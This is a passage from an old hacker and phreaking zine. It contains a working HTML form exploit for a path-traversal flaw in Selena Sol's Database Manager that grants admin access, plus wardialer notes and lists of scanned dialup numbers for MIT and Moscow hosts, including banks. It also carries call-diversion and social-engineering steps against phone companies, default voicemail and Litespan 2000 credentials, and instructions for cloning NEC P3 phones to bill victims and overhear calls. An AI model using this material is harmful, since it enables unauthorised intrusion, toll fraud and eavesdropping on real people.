  888.             echo "Shutting down inetd superserver "$TIME>>/var/log/check.log 
  889.             killall -9 inetd
  890.             echo "">>/var/log/check.log
  891.         fi
  892.             
  893. fi
  894. fi
  895.  
  896. ───────────────────────────────────────────────────────────────────────────────
  897.   5. Selena Sol remote flaw : Cain
  898. ───────────────────────────────────────────────────────────────────────────────
  899.  
  900. After many hours of sifting through the source code as part of my job at
  901. an ISP, I stumbled onto something. A problem in the midst of the
  902. authentication libraries of Selena Sol's Database Manager.
  903.  
  904. In auth-lib.pl at line 192 it reads
  905.  
  906.    open (SESSIONFILE, "$auth_session_dir/$session_file")
  907.  
  908. Now this is interesting. Nowhere does it check to make shure you don't
  909. have any '/' chars in the $session_file. So we can specify our own session
  910. file outside the intended path :)
  911.  
  912. The session file format is:
  913.  
  914.    id|group|fname|lname|email
  915.  
  916. always have the group be "admin". This way you get access to the entire
  917. database. Let's say this remote system is some wierd warez archive. They
  918. want us to upload files. So we make a file called werd.dat:
  919.  
  920.    cain|admin|Cain|Bomb|cain@tasam.com
  921.  
  922. Then we FTP this file up to the remote system. Depending on what OS they
  923. have, it will either be in /var/ftp/incoming or /home/ftp/incoming or
  924. whatever, you figure it out. Now we make our HTML exploit!!! Just create
  925. this file and view it using lynx, netscape, or whatever.
  926.  
  927. <form method="POST"
  928. action="http://www.site.com/cgi-bin/db_manager.cgi?setup_file=database.cfg">
  929. <input type="hidden" name=auth_user_name value="cain">
  930. <input type="hidden" name=auth_password value="yomomma">
  931. <input type="hidden" name=session_file value="../../var/ftp/incoming/werd">
  932. <input type="submit" value="Click here to hack">
  933. </form>
  934.  
  935. All the paths you'll hafta figure out on yer own. Notice theres no ".dat"
  936. after the "../../var/ftp/incoming/werd". It does that automaticlly. You
  937. may need to change the amount of ../'s dont' worry bout going over board
  938. though. It will still work.
  939.  
  940. What exactly happens? Well, db_manager.cgi runs with whatever setup_file
  941. you specified. It sees that the session_file variable is declare so
  942. instead of going to the login screen, it reads the info from the session
  943. file "Session_files/../../var/ftp/incoming/werd.dat" which contains 
  944. administrator status because the group is "admin". Boom. You're in the
  945. database free to modify or delete anything. 
  946.  
  947. The reason I found this out was because I found one interesting database I
  948. couldn't search through without a valid username and password. So I did
  949. this. I wouldn't modify anything because who cares.
  950.  
  951. Cain
  952.  
  953. ───────────────────────────────────────────────────────────────────────────────
  954. ===============================================================================
  955. ==[ FONES / SCANNING ]=========[ .SECTION C. ]===========[ FONES / SCANNING ]==
  956. ===============================================================================
  957. ───────────────────────────────────────────────────────────────────────────────
  958.   1. ShokDial : Shok
  959. ───────────────────────────────────────────────────────────────────────────────
  960.  
  961. Originally written based on an idea by zer0x, and written for public
  962. release, this article is NOT property of THTJ, because they are fucking
  963. sIn groupies, this was written by Shok, and therefore is intellectual
  964. property of that author, so don't even think about it you fucking THTJ
  965. fools. --so1o
  966.  
  967. Serial programming for unix.....boy this stuff is fun. Well unix
  968. is famous for it's special files. The modem is just a file you can open(),
  969. read(), and write() to...for that reason this program can be used on all
  970. unixs'. The only thing different that needs to be changed, is the 
  971. #define MODEMPORT "/dev/cua1", because most unix/unix clones have their
  972. own modem port. For example /dev/ttyS? which is COM1 (to the DOS users),
  973. would be /dev/ttym? in IRIX. Now once this program opens the modem (via 
  974. device/special file) for reading/writing, it will write() to it, and send
  975. it standard modem instructions like +++ATH, ATZ etc....this comes before
  976. any dialing to get the modem ready....we also use a function to check for
  977. "OK" so we know that all is well. On receiving this, then enter the number
  978. we want to dial into a character buffer, append a "\r" to it (to it
  979. actually sends the command), we then write(fd (the file desc. for
  980. /dev/cua1), thebufwiththenum, strlen(thebufwiththenum)); Now once you do
  981. this..you can't write "+++ATH" to it, because it will send that as the
  982. login name (assuming you've connected to a host), so what I did, was I
  983. opened the other modem port (there are two, /dev/cua0 and /dev/ttyS0 are
  984. essentially the same thing (both COM1 to explain it easier), one is used
  985. for dialing out (cua?) and one is used for dialling in and out (ttyS?). So
  986. I opened up the other port and used that to send the command to hang up.
  987. But all the other stuff isn't complex, they are all C primitive
  988. instructions like ScanMin++; which would increse ScanMin by 1, repeat a
  989. while loop, and then the next strcat(phonenum, ScanMin); ... would dial
  990. the next number......you get the idea. That's about all there really is to
  991. say about the technical stuff about it.
  992.  
  993. Oh yeah one thing.....when it connects, it looks for the string
  994. "CONNECT" returned from the modem serial file. You won't get this message
  995. from faxes as you will only get this message when the connection is
  996. complete, so this will only return *** CONNECT *** if it was a modem. It
  997. will both output to the screen and logfile *** CONNECT *** to
  998. 1-xxx-xxx-xxxx. You can use local or long distance, although international
  999. numbers haven't been added at this time (not hard to do just didn't care
  1000. to add an extra scanf and an extra CountryCode variable ;) 
  1001.  
  1002. About ShokDial (it's temp name for now)
  1003. ---------------------------------------
  1004.  
  1005. This supports random scanning (pseudorandom to be honest, heh) and
  1006. sequential (the range you specified and up) scanning. You can give it a
  1007. range too but that still does under sequential scanning. To use random
  1008. scanning use 'shokdial -r', otherwise it will by default use sequential
  1009. scanning. For the other options type 'shokdial -h'. You want to keep track
  1010. of the version because I'd almsot guarntee this program is going to
  1011. continue changing. I need to add some ncurses GUI effects (heh) and a
  1012. function to resume scanning for those of you who are too lazy to even look
  1013. at the (by default) wardialer.log and get the last number it dialed
  1014. (assuming you used sequential scanning) and entering that as the Scan
  1015. number to begin on! 
  1016.  
  1017. It will output to wardialer.log and on to the screen. If you have
  1018. BEEP = WANTBEEP in the Makefile, it will beep when it connects to a host.
  1019. That's about all I really have to say about it. I don't actually use war
  1020. dialers (really), so I haven't actually tested this (sorry if there are
  1021. any problems but there shouldn't be)....if you do however find a problem,
  1022. please let me know! I will fix it and send out a patched version.....you
  1023. can get all of them from ftp.janova.org or www.janova.org. Enjoy ;)
  1024.  
  1025.                                 Shok
  1026.  
  1027. ───────────────────────────────────────────────────────────────────────────────
  1028.   2. More MIT dialups : zer0x
  1029. ───────────────────────────────────────────────────────────────────────────────
  1030.  
  1031. In CRH issue #5 I listed the mit guest terminus dialups, which you could
  1032. use to telnet from. Here is a different one...
  1033.  
  1034. 1. MTL Terminal Server 
  1035.  
  1036. ----------------------------------------------------------------------------
  1037.  
  1038. Here is a 'private' telnet dialup, no 'guest' access allowed, unlike
  1039. Terminus. It may go down or have a password added to it if they notice all
  1040. this extra access.
  1041.  
  1042.         MTL Terminal Server (mtl-ts.lcs.mit.edu)
  1043.                 258-7626
  1044.                 258-7623
  1045.  
  1046. ----------------------------------------------------------------------------
  1047.  
  1048. 2. I have scanned the mit prefix and here are some of the carries I have
  1049.    found. I'm not sure what this can really be useful for but to maybe know
  1050.    the dialup number if you ever own one of these machines. Or who knows,
  1051.    maybe one of the default logins works for one of these machines,
  1052.    [hint hint ;)]
  1053.  
  1054. 258-7279  nastasia (os:unix) [nastasia.mit.edu]
  1055.  
  1056. 258-7934  (os:unix) [unknown host]
  1057.  
  1058. 258-7238  bozo phone login: (os:unix)[bozo.mit.edu]
  1059.  
  1060. 258-7780  servi login: (os:unix) [unknown host]
  1061.  
  1062. 258-7967  mit center for space research (os:unix) [hoku.mit.edu]
  1063.  
  1064. 258-7936  (os:unix) [host: unknown]
  1065.  
  1066. 258-7838  (os:vms) [host: unknown]
  1067.  
  1068. 258-7108   Annex Command Line Interpreter for Annex Reuter
  1069.  
  1070. 258-7958  (MIT Center For Space Research) (os:unix) [grall.mit.edu]
  1071.  
  1072. ----------------------------------------------------------------------------
  1073.  
  1074. NOTE:
  1075. -----
  1076.  
  1077. Maybe there were a few machines I didn't put down, possibly because they
  1078. were important to me and I did not feel like disclosing them. Maybe I will
  1079. place them in later issues, who knows. Scanning colleges is always fun
  1080. because you find neat stuff. Some machines even have outdial modems attached
  1081. to them :) A good way to find stuff like that is to find the prefix that a
  1082. uni puts their machines on and scan scan scan. Also a big company may have
  1083. plenty of machines sitting there waiting for you to find and own. Some people
  1084. may think that scanning is a bit outdated but it comes in useful. I suggest
  1085. you use toneloc if you wish to scan since it is the best dos scanner.
  1086. For Linux use Shok's scanner (ShokDial), which is in this issue. 
  1087.  
  1088. ───────────────────────────────────────────────────────────────────────────────
  1089.   3. Hiding within the system : efpee
  1090. ───────────────────────────────────────────────────────────────────────────────
  1091.  
  1092. "w1ll i ever g3t caught....."
  1093.              
  1094. "Guess what !@#$ i figured it out.. i can finally ani sp00f with
  1095.  32.666.666.666 hz tone," - " unkn0wn person
  1096.  
  1097. I get sick and tired of people... in general explaining to me
  1098. how fucking kewl it is to go down to a payfone, and make generous
  1099. calls with a redbox.  I find that shit so annoying.. I know
  1100. the majority of the people reading this are gonna say.. "y0
  1101. 3y3 JUST R34D 2600 and 3mm4nu3l t0ught m3 b0ut inb4n signalling
  1102. 4nd h0w to bu1ld a r3db0x.." - unkn0wn person
  1103.     
  1104. The main reason anyone ever walked to a payfone in the first place 
  1105. was really to lesson the chance of being "..traced.."  Let me
  1106. tell u dumbfucks.. ani is everywhere so dont think just cause u
  1107. c4n g0 to a payfone u are not gonna get caught.. oh.. btw..
  1108.  
  1109. ST0P BU1LD1NG R3DB0X3Z
  1110. using pbxz, and k0d0ez!#@%$
  1111. is less painless, and
  1112. doesnt cost u m0ney!@#$
  1113.  
  1114. . sektion 1 . 
  1115.                     
  1116. Diverting has been around since the days of the Capn' Crunch
  1117. and h1s fux0ring wh1stle.  To bad.. if u even want3d to attempt
  1118. to d1vert with blueb0xing u end up using 800 direct numberz to
  1119. countries such as gr33ce.  Th1s is all g00d.. but again.. A 
  1120. B1TCH.  Cause w3 dont all h4ve blueb0xes.. and n0t everyone 
  1121. has a laptop to carry round with onkels little bluebeep.
  1122. the only th1ng bout that program that was good was the neeto 
  1123. ascii/ansi art.  Anyway.. when u think of diverters wh0 comes to
  1124. mind?  
  1125.     
  1126.     AT&T - = - ani is dr0pped wh3n diverted to through intercept op
  1127.     
  1128.      MCI - = - these are the g00d guyz :P
  1129.     
  1130. W0RLDC0M - = - p4yf0ne please
  1131.     
  1132.      OCI - = - these stup1d sp1cs have ani n0w :(
  1133.     
  1134. TELTRUST - = - <----------- th3 supr3m3 in my l1f3 :)
  1135.  
  1136. Teltrust has nifty little backd00rs that allow u to access
  1137. operators usually only allowed through dialing 0 on a teltrust 
  1138. serviced.  i c4nn0t release th1s t0p s3kr3t enph0.. but its 
  1139. out there.. Op back doors are hard to find but... then again
  1140. u have all the time in the w0rld.
  1141.  
  1142. th1s is m33 4nd my teknique...
  1143.     
  1144. mee ------> operator -----> vmb with 800 dialout ---> meridian
  1145. -----> at&t ------> 911 b4ckd00r ----> c0pz pull up 0utside 
  1146. so1o's house...
  1147.  
  1148. eyem gonna take u through my easy st3p plan of h0w to d1vert
  1149. fr0m home, and seldom get caught..
  1150.  
  1151. 1. Oldskewl stealing of service fr0m neighbor
  1152. 2. C4ll f0rw4rding st1ll 0wns u.. and if u kn0w much bout switches ;) 
  1153.    th1s can aid u greatly in diverting..  Setting up your own diverters
  1154.    w1th c4ll f0rwarding is th3 m0st safest sh1t, cept... please divert
  1155.    wh3n owning your local sw1tch... unless its us west.. they d0nt have
  1156.    ani @#!#$!@#$ i swear ( well i w1sh ).  
  1157.  
  1158. h3r3z l33t pr0ceedure f0r adding call forwarding under 1a.
  1159.  
  1160. RC:CFV:\          add1ti0n of f0rwarding features
  1161. ORD 1\            sp33d of activation :) 1 = n0w damn it
  1162. BASE XXXXXXX\     th3 l0cal number u are add1ng features too
  1163. TO XXXXXXX\       route to where? 801 855 3326 "y0u h4ve r3ached bah"
  1164. PFX\              s3t pr3f1x 1 if ld dialing.. although i believe 800 is
  1165.           possible
  1166. !                 execute damn it..
  1167.  
  1168. my l0cal switch being 1a.. dats all eye deel with.. but...
  1169. 5e becomes easier d0 to the fact that if u have access to 
  1170. recent change channels on a 5e.. or rcmac sk1lls.. 
  1171. u can easily add forwarding...
  1172.  
  1173. The 5e rc/vfy is s0 much simpler... its call3d w1nd0ze 5e..
  1174. with neet little ascii menus..
  1175.  
  1176. If y0u are n0t an rcm4c w1z...
  1177. The business office werkers are clueless..
  1178. i use uswest as my example m0stly d0 to them being my rb0c..
  1179. but anywayz.
  1180.  
  1181. me> dials 18002441111 (servicing for home usage)
  1182. automated attendant> Enter Area C0DE and 7 digit number
  1183. me> 3608646226 <--------ex girlfriendz
  1184. aa> real attendant.... c0uld u please give me seven digit
  1185.                number u are calling about please
  1186.                        g1ve it t0 real attendant.
  1187. me> uh yes 3608646226
  1188. ra> h0w can i h3lp u Mr J0hnson. 
  1189. me> w3ll ummm uh me and family are going out of t0wn for a week..
  1190. me> i w4z wondering if u c0uld add f0rwarding or f0rward all my calls to
  1191. me> 8018553326 . . . . . sure th1ng mister j0hnson.. they w1ll then say..
  1192. ra> th1s feature will be online by 5:00 tomm0row nite.. 
  1193. me> U SP1C 0F 4n Op U D!dnt ASK f0r Any ID!@#$ bahahahahh 0wned
  1194.  
  1195. . sektion 2 .
  1196.  
  1197. voice mail systems have been around for ever...
  1198. all had oftered the same benefits under systems
  1199. such as audiotext, audix, asp3n and older systems.
  1200. these days the p0ssibilites are endless.
  1201.  
  1202. some of the newer syst3ms.. that unf0rtunately i dont have
  1203. actual hard copy f0r.. carry newer features... this includes
  1204. b0x forwarding, pager n0tification, c4ll f0rwarding, and
  1205. message f0llow mee..
  1206.  
  1207. for inst4nce... dial 1800xxxxxxx
  1208.  
  1209. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  1210.    Back to basic vmb hack1ng  
  1211.     
  1212. these new little systems include 
  1213. pr0mpts such as enter box number
  1214. and password.. this rem0ves the 
  1215. ease and makes it almost impossible
  1216. to hack.  Yes.. search f0r systems
  1217. u kn0w have outdial capabilities
  1218.  
  1219. 9999 is still the admin b0x
  1220. 9999 is still the most common used password
  1221.  
  1222. Newer systems are adding l0nger k0dez.. and sumtimes only 
  1223. codes but no actual box number.  anyway.. h0w can this help
  1224. u in diverting..?  After u have owned vmb with 800 access?
  1225. well simple really.. it can be used f0r number of things.. 
  1226. dialing att mci and maj0r ld companies f0r ld purposes
  1227. totally legit of course..  The pager n0tification feature owns
  1228. me. herez the tekniq
  1229.  
  1230. call business office.. like in above insert
  1231. and add call forwarding to a fone or number u kn0w never
  1232. gets called.. forward it to an0ther number.. have that number
  1233. forwarded.. at the end of chain .. put your pager number :)
  1234. n0t like this isnt obvious or anything.. they just c4nt pr0ve nuffin.
  1235. its neet to listen 1800864BLAH call my pager after bouncing through
  1236. all these neet forwarded numbers and hitting the u have reached
  1237. a pagenet serviced pager... please leave numeric message
  1238. at the tone, and hit star when finished.  I just wanna make 
  1239. aware things people have forgotten about.. people spend to worrying bout
  1240. " the switch, rcmac, nac, scc " and all the nitty gritty of a boc.  Think
  1241. of what can be done without even hassling..     
  1242.  
  1243. . pbx .
  1244.  
  1245. u have read billion txt files on pbxs.. i just recommend reading
  1246. cavaliers.
  1247.  
  1248. bah hit *9 or dial one of those nifty 800555xxxx pbxs with 2 digit 
  1249. codes.. oh btw.. th0se ones are probably traps for defcon kids.
  1250.  
  1251. . sektion 3 .
  1252.  
  1253. my thoughts on tracing...
  1254.  
  1255. listen.... in our day and age.. it is very easy for u to be traced..
  1256. the thing is, cdma, wireless, broadband, cellular communications is 
  1257. aiding us.  If u have a modded oki with antitriangulated mods plus 
  1258. b1llion pairs..?  WH0 ARE THEY TRACING .. the ani .. is always there
  1259. ani failures is yes.. likely to happen every once in a while when to 
  1260. sw1tches d0nt c0mmunicate .. but g0d damn people.. 
  1261.  
  1262. anyway..
  1263.  
  1264. th1s f1le pr0bably did nuffin for your clooless self..
  1265. but maybe spawned a couple ideas in your head such as
  1266.  
  1267. efpee diverting diagr4ms
  1268.  
  1269. mee -> oki -> pbx with intercept opt access at *9 -> opdivert -> vmb with 
  1270. 800 dialout -> teltrust -> k0d3z -> pbx -> sekret service in 206
  1271.  
  1272. "TR4C3 TH1S MUTHA FUCK3R"
  1273.  
  1274. I typed in 30 minutes without leet speek filter..
  1275.  
  1276. ───────────────────────────────────────────────────────────────────────────────
  1277.   4. An introduction to LightSpan 2000's : dlc
  1278. ───────────────────────────────────────────────────────────────────────────────
  1279.  
  1280. 1 : The Basics.
  1281. ---------------
  1282.  
  1283. This article is going to be broken up into 3 parts because for convenience.
  1284.  
  1285. Here is the first, if you don't understand this, don't move on. Also if you
  1286. don't need to know anything about lightspans don't bother reading this act
  1287. of masochism.
  1288.  
  1289. A Litespan 2000 unit is a Synchronous Optical Network (SONET) based Optical
  1290. Loop Carrier (OLC) system. It provides the function of four seperate systems
  1291. cobmined into one. Those systems are as follows:
  1292.  
  1293. Digital Loop Carrier (DLC).
  1294.  
  1295.    Provides 2,016 DS0s of bandwidth for delivery of services such as data,
  1296.    coin, or dial tone.
  1297.  
  1298. Digital Cross Connect System (DCS).
  1299.  
  1300.    Takes apart DS1 signals into DS0, rearanges them and puts them back
  1301.    into DS1 signals. This is know as 1-0-1 cross-connect.
  1302.  
  1303. SONET Fiber transport system
  1304.  
  1305.    Uses lightwave technology and SONET protcol to transport signals between
  1306.    lightspan terminals.
  1307.  
  1308. Mulitplexer (MUX)
  1309.  
  1310.    Takes multiple low speed signals (DS0s, DS1s) and interleaves them
  1311.    to form a single high speed data stream at SONET bit rates.
  1312.  
  1313. 2 : System Security.
  1314. --------------------
  1315.  
  1316. Litespan 2000 unit security is very simple, but when considerig it
  1317. accessability by outside systems, it is adequate. If you ever get access
  1318. to a litespan 2000 terminal or are able to access it remotely this may help.
  1319.   
  1320. The Litespan provides two levels of security to maintain system integrity.
  1321. These security levels controls who can access the system and what the
  1322. authorized user is allowed to do in the system.
  1323.  
  1324. Each authorized user is assigned a set of privleges that determine the
  1325. actions allowed to the user.
  1326.  
  1327. The Litespan maintains an internal list of authorized user IDs, passwords,
  1328. and user privleges. There are up to 20 users possible. 
  1329.  
  1330. Now to access security you will be prompted for a User ID and a password
  1331. at a terminal that looks much like this :
  1332.  
  1333.  OMAPS Log In
  1334.  OMAPS V05.01.05 Copyright 1997 Optlink Corp. All Rights Reserved
  1335.  
  1336.  User Id: 
  1337.  Password:
  1338.  
  1339. Now for the ball busting part. If you repeat the login procedure
  1340. incorrectly 5 times you will be locked out of the system. Also the user
  1341. ID's can be up to 20 characters, a number or letters with both upper and
  1342. lower case, this is the same with the password.
  1343.  
  1344. The litespan has a sysadmin like in a unix system, but the litespan admin
  1345. usually has a long beard and a smug expression. But it is possible that a
  1346. dumb sysadmin will leave in the default logins/passwords. Those are as
  1347. follows:
  1348.  
  1349.   User ID: optlink
  1350.  Password: optlink
  1351.  
  1352.  and..
  1353.  
  1354.   User ID: sysadmin
  1355.  Password: sysadmin
  1356.  
  1357. ...Well that gives you a look at System Security from the outside, Look at
  1358.    part 3 if you were able to get in. It gives a run down on User Privleges.
  1359.  
  1360. 3 : User Privileges.
  1361. --------------------
  1362.  
  1363. Well user privleges are important, the sysadmin maintainsa file in the
  1364. system that gives different users different privileges. The user
  1365. privileges file will be setup somewhat like this:
  1366.  
  1367. User Id    Password   CP  M  M0  M1  N  NR  P  PR  P0  P1  S  T
  1368. Fatass       *****     x                 x         x       x                     x                  x
  1369. BigBone      *****     x                 x         x          x               x        x
  1370.  
  1371. That is a basic layout. The CP, M, M0 ect. are privileges.
  1372. The X's are basically checks allowing a certain user to perform a certian
  1373. act in the system. The Different Privleges are as follows:
  1374.  
  1375.   CP = Allows someone to change the user ID, password or privileges of
  1376.        any user on the system. This is one of the sysadmins privileges
  1377.        for the most part.
  1378.  
  1379.   M0 = Maintenance privilege (DS0 only)
  1380.  
  1381.   M1 = Maintenance privilege (DS1 only)
  1382.  
  1383.   MR = Maintenace READ ONLY privilege
  1384.  
  1385.   N  = Network Administrative privilege; Allows backup and
  1386.        restore of database
  1387.  
  1388.   NR = Network Administrative READ ONLY privilege; Allows access to network
  1389.        information
  1390.  
  1391.   P = Provisioning privilege; Neccesary to make changes from the
  1392.       provisioning menu
  1393.  
  1394.   P0 = Provisioning privilege (DS0 only)
  1395.  
  1396.   P1 = Provisioning privilege (DS1 only)
  1397.  
  1398.   PR = Provisioning READ ONLY privilege
  1399.  
  1400.   S = System Administrative privilege; Neccessary to make changes from
  1401.       the administrative menu
  1402.   T = Testing privlege; Allows execution of testing commands
  1403.  
  1404. Well that about raps it up. I may in the future update this,
  1405. But I doubt it. Look for future papers by me.
  1406.  
  1407. dlc
  1408.  
  1409. ───────────────────────────────────────────────────────────────────────────────
  1410.   5. An introduction to the NEC P3 : daxx
  1411. ───────────────────────────────────────────────────────────────────────────────
  1412.  
  1413. The NEC P3 is a rather old mobile phone for use on any TACS or E-TACS
  1414. cellular telephone system (there is a list at http://c5.hakker.com/nec_p3/
  1415. to find out where there are such networks ; they exist in Europe,
  1416. Austria, Italy, the UK and Ireland). This phone was quite popular a few
  1417. years ago, so you should be able to pick one up used for little money.
  1418. I got one including two batteries & a charger for 50 IEP.
  1419.  
  1420. Now, what makes this phone so interesting? The availability of a
  1421. so-called Test-Mode-ROM for it!
  1422.  
  1423. As all mobile phones, this one has a read-only-memory chip in it, which
  1424. contains its software. This progam is started when you turn on the phone,
  1425. it could be compared to a computer's operating system. While the "normal"
  1426. version of the NEC P3's software allows you to do no extraordinary things,
  1427. basically only to place calls to a number you enter and to store numbers
  1428. along with names, the test-mode software lets you go into test mode, where
  1429. you can do many cool things...
  1430.  
  1431. Most importantly, you can change all the information in the phone's NAM
  1432. (number assignment module) - the ESN (electronic serial number) and the
  1433. MIN (mobile identifier number).
  1434.  
  1435. These two numbers are all there as an E-TACS phone's identity - program
  1436. in another phone's ESN & MIN (this information is called a pair) and
  1437. your NEC P3 becomes a clone of it. You will be able to make calls on the
  1438. bill of the phone you cloned and to receive calls under its number.
  1439.  
  1440. On a test-rom NEC P3, this process of reprogramming the NAM takes less
  1441. than a minute of pressing buttons on the keypad, and requires no connection
  1442. to a computer with a "chipping lead", as the vast majority of mobile phones
  1443. do. However there are plans for a computer-to-P3 cable, along with chipping
  1444. software, both are available on Dr. Who's Radiophone, which is now at...
  1445.  
  1446.      http://radiophone.dhp.com/nec/p200.html
  1447.  
  1448. The MIN prefix for Ireland's 088 network is 2720 (088-2 = 2722, 088-6 = 2726).
  1449. So if somebody's number is 088-313371, their MIN, and what you type in while
  1450. programming, is 2720313371. The ESN of a phone (an 11 digit number with
  1451. slashes dividing it) can almost always be found on a sticker on the back of
  1452. the phone, under the battery. So if you see someone's phone lying around,
  1453. just note down those numbers, put them in your P3, and mess up their bill.
  1454.  
  1455. In test mode, you can also scan all channels (listen in on calls going on
  1456. in your area), and break into conversations (can be funny, the call has to
  1457. be on a very nearby cell for that to work though). I've also put on a text
  1458. which describes how two P3's can be used as CB radios, without actually
  1459. using the cellular network (never done this myself, can anybody confirm that
  1460. this works?).
  1461.  
  1462. You have a P3, and would like to put a test-mode ROM in it?
  1463.  
  1464. Taking the actual chip out of the phone, or putting one in can be tricky,
  1465. the first and biggest obstacle being "tamper-proof" screws in the case.
  1466. However pliers with very thin ends worked OK, once I found suitable ones.
  1467. The complete instructions for doing this can also be downloaded below.
  1468.  
  1469. Getting the test-mode software (see below for the image file) written on
  1470. the existing rom chip from a P3, or getting a new 27C512 (200 nanoseconds
  1471. access time) EPROM with the software on it is probably the most difficult
  1472. part. You could try some electronics companies or university electronics
  1473. labs, or any other place which might be able and willing to write an EPROM
  1474. for you. This only takes a minute, but a previously written EPROM has to be
  1475. erased by exposure to UV light before being re-written, which takes at
  1476. least half an hour.
  1477.  
  1478. Further files are available from http://c5.hakker.com/nec_p3/
  1479.  
  1480. There's an easier way to get into test mode than the one. As you can simply
  1481. store your ESN in one of the 99 memory slots once (enter 11 digits, STO
  1482. (for instance) 68). Then every time you want to enter, you do RCL 68, STO 69,
  1483. RCL *, RCL # 01 and there you are, instead of keying in the whole ESN every
  1484. time.
  1485.  
  1486. So, go out, get a P3 or another kewl fone and have some fun while the E-TACS
  1487. networks are still on the air!
  1488.  
  1489. DaXX
  1490.  
  1491. ───────────────────────────────────────────────────────────────────────────────
  1492.   6. More Russian dialups : Lirik
  1493. ───────────────────────────────────────────────────────────────────────────────
  1494.  
  1495.             +7-o95-913-xxxx Iskra(?) Telco scan for carriers
  1496.                      (?) 1997 CyberLirik/DarkMoon
  1497.                             with ToneLoc 1.x
  1498.                       comments to lirik@hotmail.com
  1499.                also check out http://207.222.215.67/________.lst
  1500.  
  1501. ──────────────────────────────────────────────────────────────────────────────
  1502.  
  1503. 9133087  MMTEL> .x to get RemoteAccess 2503107111
  1504.                  .m to connect to MFD
  1505.          PAD NUA format :  NUA with DNIC ie MMTEL>2503107111
  1506.  
  1507. 9133442  27*
  1508. 9133440  36*
  1509. 9133438  34*
  1510. 9133437  33*
  1511. 9133439  32*
  1512.  
  1513. 9133994  login:
  1514. 9133340
  1515.  
  1516. 9133465  CONNECT 2400/NONE
  1517. 9135899
  1518. 9133353
  1519. 9133467
  1520.  
  1521. 9133094  MICRON: ADDRESS?
  1522. 9133093
  1523.  
  1524. 9133487  MS DOS 6.20 :)(krug.partya.ru) ((null))  login:
  1525.  
  1526. 9133118  S'Ad;r+kE:q't`aqQ1<8;
  1527.  
  1528. 9133507  *****************************
  1529.  
  1530. 9133127  Port 1  login:
  1531.  
  1532. 9133392  ROSPAC(IASNET) Local Dial Ups  02500 DNIC also TYMUSA
  1533.           [unpublished]  ntymusa .concert+ for TYMUSA
  1534.  
  1535. 9133578  HqS$=x1*M!J>8uF
  1536.  
  1537. 9133336  0211  &v3  &v3  &v3  &v3  &v3+++
  1538.  
  1539. 9133327  +++
  1540. 9133418
  1541.  
  1542. 9133297  BSDI BSD/386 1.1 (berenduin.comdiv.inkom.ru) (ttyb6)
  1543.           login:
  1544.  
  1545. 9135745  FrontDoor 2.02; Noncommercial version
  1546. 9135741  see Nodelist for more systems
  1547. 9135611  ( 913- & Iskra2 like 097-3xxxx)
  1548. 9135644  2:5020/439@Fidonet
  1549. 9135982
  1550. 9135903
  1551. 9133478
  1552. 9133503
  1553. 9136066
  1554. 9136007  2:5020/194@Fidonet
  1555. 9136347
  1556. 9132354
  1557. 9137134
  1558. 9139888
  1559.  
  1560. 9133414  0211 iCv3 iCv3 iCv3 iCv3 iCv3+++
  1561.  
  1562. 9133117  PPP trash ~~}#@!}!Q} }4}"}&} }*} }
  1563. 9134214
  1564. 9135937
  1565.  
  1566. 9133514  Welcome to SCO UNIX System V/386 Release 3.2 psl055!login:
  1567.  
  1568. 9133038  Welcome to Linux 2.0.29. **EMSI_REQA77E
  1569.  
  1570. 9133379
  1571.  
  1572. 9133119  S'Ad;r+kE:q't`aqQ1<8;!nPSHHNrkShD
  1573.  
  1574. 9133161  vBB Pl[EBad_Ver<
  1575. 9135307
  1576. 9136142
  1577. 9136254
  1578. 9135308
  1579. 9135797
  1580. 9138590
  1581. 9137100
  1582. 9138569
  1583. 9137177
  1584. 9136227
  1585.  
  1586.  
  1587. 9133944  (gamma!uugate3) login:   www.gamma.ru  ISP
  1588. 9132071
  1589.  
  1590. 9133344  Telebit's NetBlazer Version 2.3  NB_CROCUS login:
  1591.  
  1592. 9134392  ~?[l~m^p.:$KJ'b4f4wB&9uJ@0@abfD4*
  1593.  
  1594. 9134217  Login: PassWord:
  1595.  
  1596. 9134257  INCOM_ZNANIE
  1597.  
  1598. 9134228  Welcome to X Atom Network
  1599. 9134091  Sorry no BBS avalable on this phone
  1600. 9134092  atom.ai.x atom.net!login:
  1601.  
  1602. 9134221  Welcome to FaxNet IP network Login:
  1603.  
  1604. 9134114  "%$(b% a".% (,o :
  1605.  
  1606. 9134419  æÑαóÑα ñ«ßΓπ»á ¬ Σá⌐½á¼ îêìöêìá Éö
  1607. 9134418
  1608. 9134488
  1609. 9134489
  1610.  
  1611. 9135864  Username:  % Username:  timeout expired!
  1612. 9135865
  1613.  
  1614. 9135856  Enter: M   menu driver, A   ANSI, else N >
  1615.  
  1616. 9135898  WindowsNT 4.0 (credit.roscredit.msk.su) (tty00)
  1617.  
  1618. 9135319
  1619.  
  1620. 9135751  SpaceNet Dial Up Gateway   Problems: noc@space.ru   333 3523
  1621. 9135020  www.space.ru
  1622.  
  1623. 9135619  ICAICAICAICAICAICAICAICA
  1624. 9135627
  1625. 9135652
  1626. 9135651
  1627. 9135618
  1628.  
  1629. 9135622  ~?[l~~?[l
  1630. 9135640
  1631.  
  1632. 9135995  QuickMail(tm) Copyright 1988 95 CE Software, Inc.
  1633.  
  1634. 9135706  **B0100000027fed4
  1635.  
  1636. 9135966
  1637. 9135883
  1638.  
  1639. 9135820  faxnet10 login:
  1640.          Welcome to the INTERACTIVE UNIX Operating System from SunSoft
  1641.  
  1642. 9135626  Moscow DAWN 2.Relcom.EU.net
  1643. 9135747
  1644. 9135624
  1645.  
  1646. 9135870  User Access Verification
  1647.  
  1648. 9135798  ~?{=~~
  1649.  
  1650. 9135602
  1651.  
  1652. 9135810  Welcome to the TECHNOBANK Client Bank System !
  1653.           System name: techno
  1654.  
  1655. 9135811  DIMON
  1656.  
  1657. 9135641  Avtovazbank Guest/guest  also x.25 NUA in Sprint 772855.1
  1658.  
  1659. 9135621  USRobotics Courier HST Dual Standard V.34+
  1660.          Fax Dial Security Session
  1661.          Serial Number 9909550000181645
  1662.  
  1663. 9135941  ~}|{
  1664.  
  1665. 9135821  BSDI BSD/OS 2.0.1 (iskra.msk.su) (tty01)
  1666.  
  1667. 9135921  Please press <Enter>...           Enter password:
  1668.  
  1669. 9135082  ]w]w]w]w]w
  1670.  
  1671. 9135799   
  1672. 9137143
  1673. 9136077
  1674. 9137184
  1675.  
  1676. 9136371  russica!login:
  1677. 9136265
  1678. 9136259
  1679. 9136319
  1680. 9136258
  1681.  
  1682. 9136223  FreeBSD (ns.irex.ru) (ttyx2) login:
  1683.  
  1684. 9136236  Welcome to Moscow Government's Mail Server
